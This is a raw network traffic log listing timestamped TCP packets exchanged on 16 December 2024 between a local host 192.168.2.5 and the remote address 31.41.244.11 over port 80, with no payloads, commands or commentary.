Dec 16, 2024 09:01:23.258990049 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.259970903 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.260087967 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.260150909 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.261148930 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.261208057 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.261270046 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.261322021 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.262317896 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.262393951 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.262449026 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.262501955 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.263484955 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.263593912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.263648033 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.264694929 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.264759064 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.264787912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.264842033 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.265850067 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.265902996 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.265985966 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.266077042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.266968966 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.267026901 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.267091990 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.267148972 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.268310070 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.268347025 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.268369913 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.268397093 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.269248962 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.269365072 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.269426107 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.270363092 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.270492077 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.270550013 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.271534920 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.271653891 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.271718979 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.272599936 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.272689104 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.272752047 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.273710012 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.273814917 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.273873091 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.274831057 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.274866104 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.274923086 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.275901079 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.275952101 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.276019096 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.276878119 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.276964903 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.277018070 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.277070045 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.277127981 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.278032064 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.278083086 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.278152943 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.278218031 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.279104948 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.279162884 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.279237986 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.279325962 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.280163050 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.280229092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.280286074 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.280334949 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.281248093 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.281284094 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.281338930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.281338930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.282253981 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.282424927 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.282468081 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.282505035 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.283288002 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.283417940 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.283447981 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.283480883 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.284311056 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.284423113 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.284480095 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.285310984 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.285423994 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.285480022 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.286322117 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.286463976 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.286523104 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.287379980 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.287444115 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.287444115 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.287492990 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.288355112 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.288419008 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.288424015 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.288491011 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.289325953 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.289484978 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.289561033 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.290340900 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.290513992 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.290572882 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.291394949 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.292125940 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.311151028 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.311224937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.311428070 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.311481953 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.311558962 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.311606884 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.311687946 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.311742067 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.312359095 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.312433004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.312495947 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.312553883 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.313218117 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.313277006 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.313316107 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.313371897 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.314035892 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.314093113 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.314125061 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.314166069 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.314846992 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.314898968 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.314981937 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.315151930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.315722942 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.315788031 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.315800905 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.315829039 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.316452026 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.316507101 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.316591024 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.316642046 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.317274094 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.317328930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.317409039 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.317456007 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.318094015 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.318141937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.318201065 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.318248034 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.318898916 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.318933964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.318943024 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.318996906 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.319772005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.319830894 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.319899082 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.319947004 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.320624113 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.320677996 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.320784092 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.320832014 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.321599960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.321651936 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.321696043 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.321741104 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.322304964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.322354078 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.322359085 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.322405100 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.323091030 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.323144913 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.323193073 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.323246002 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.323862076 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.323914051 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.324028969 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.324074984 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.324660063 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.324716091 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.324764013 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.325483084 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.325592995 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.325635910 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.325681925 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.326087952 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.326137066 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.326224089 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.326270103 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.326719999 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.326781034 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.326847076 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.326894045 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.327486992 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.327557087 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.327639103 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.327687025 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.328373909 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.328428030 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.328433990 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.328471899 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.329021931 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.329114914 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.329139948 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.329185963 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.329863071 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.329916000 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.329983950 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.330039024 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.330526114 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.330583096 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.330759048 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.330810070 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.331285000 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.331391096 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.331449032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.332017899 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.332071066 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.332129955 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.332182884 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.332765102 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.332825899 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.332963943 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.333017111 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.333606005 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.333679914 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.333767891 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.333826065 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.334235907 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.334296942 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.334336042 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.334395885 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.334984064 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.335036993 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.335089922 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.335740089 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.335803032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.335974932 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.336028099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.336539984 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.336595058 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.336600065 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.336666107 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.337182045 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.337233067 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.337312937 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.337364912 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.337948084 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.337982893 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.338002920 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.338023901 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.338668108 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.338722944 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.338743925 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.338793039 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.339378119 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.339435101 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.339438915 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.339481115 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.340156078 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.340218067 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.340286970 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.340341091 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.340851068 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.340914011 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.340985060 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.341041088 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.341531038 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.341597080 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.341649055 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.341708899 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.342256069 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.342346907 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.342428923 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.342487097 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.342997074 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.343033075 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.343060017 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.343091011 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.343682051 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.343753099 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.343777895 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.343835115 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.344396114 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.344460011 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.344505072 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.344610929 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.345074892 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.345139027 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.345211983 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.345268965 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.345799923 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.345885992 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.345933914 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.346004009 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.346548080 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.346612930 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.346637964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.346700907 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.347222090 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.347294092 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.347429037 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.347485065 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.347912073 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.347975969 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.348021984 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.348073006 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.353259087 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.353343010 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.353414059 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.353414059 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.353521109 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.353637934 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.353672981 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.353704929 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.354192972 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.354455948 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.354517937 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.354542017 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.354588032 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503097057 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503179073 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503212929 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503249884 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503263950 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503285885 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503297091 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503331900 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503459930 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503515005 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503516912 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503551960 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.503563881 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.503603935 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504024982 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504081964 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504086971 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504118919 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504139900 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504154921 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504188061 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504209042 CET	49849	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:23.504858971 CET	80	49849	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:23.504919052 CET	49849	80	192.168.2.5	31.41.244.11
